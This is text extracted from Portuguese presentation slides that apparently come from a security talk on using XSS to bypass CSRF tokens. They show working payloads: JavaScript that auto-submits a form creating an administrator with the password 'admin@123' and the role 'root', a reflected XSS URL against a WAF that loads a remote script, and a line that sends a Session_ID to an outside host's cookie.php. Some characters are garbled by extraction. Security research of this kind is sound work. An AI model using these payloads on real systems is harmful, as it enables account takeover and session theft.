  • 39. Analise do Ambiente. • Analisando Bypass de Token CSRF o conteúdo do código devolvido ao usuário vemos que o nosso script é inserido dentro de uma TAG input . J • Alvo: Já estamos na página de criação de novos usuários administradores, por que não criar um para nós?!.
  • 40. Bypass de Token CSRF Criando o Exploit. • Esse exploit tem o intuito de preencher os campos input do usuário, senha e role, porém quando inserimos o XSS quebramos a tag input do usuário. Vamos corrigir isso com um simples document.write. //Create tag input with Id of user that was break by XSS document.write("<input id='id' name='id' value='user.exploit'>"); //Set values in input with password and role func=on append(csrf) { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit(); } setTimeout("append("=meout")", 1000);
  • 41. Resultado. Criação de um novo usuário de Administração. J Bypass de Token CSRF
  • 42. Falha 5# Alvo: • WAF (Web Applica2on Firewall) Resultado: • Um Reflected XSS da pagina de Regex pré definidos em um script de criação de cookie Bypass de Token CSRF
  • 43. XSS na URL. Bypass de Token CSRF • hqps://waf/prot/paqern/list_url_rule/aaa">}//-­‐-­‐></script><script src=hqps://10.0.1.120/exploit.js></script>
  • 44. Saída. Bypass de Token CSRF
  • 45. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido na URL que é u2lizada para criação de um cookie por um javascript • A URL não foi tratada e a mesma é inserida em um javascript <script> da aplicação. setCookie("/prot/pa?ern/list_data_type/aaa">}//-­‐-­‐></script><script src=h?ps://10.0.1.120/teste.js></script>"
  • 46. Analise do Ambiente. • Analisando Bypass de Token CSRF o código devolvido ao usuário encontramos o Token CSRF com o nome de Session_ID, já temos o nosso token. Alvo: Criação de um Novo usuário
  • 47. Criando o Exploit. • Esse exploit envia ao servidor o Session_ID que vai ser usado para criação de um usuário administrador. J window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie=" + encodeURIComponent(session_id)); • Não precisamos nem nós preocuparmos em como obter o token ele é uma variável universal. Bypass de Token CSRF
  • 48. Bypass de Token CSRF Criando o Exploit.
  • 49. Criação de um novo usuário de Administração. J Bypass de Token CSRF Resultado.
  • 50. Bypass de Token CSRF Conclusão. • Se temos um XSS na aplicação é fácil burlar as proteções de Flag HqpOnly do cookie ou Token CSRF.
  • 51. <script>alert(String(/Perguntas?/).substr(1,10) ); </script> twifer.com/@willcosta Bypass de Token CSRF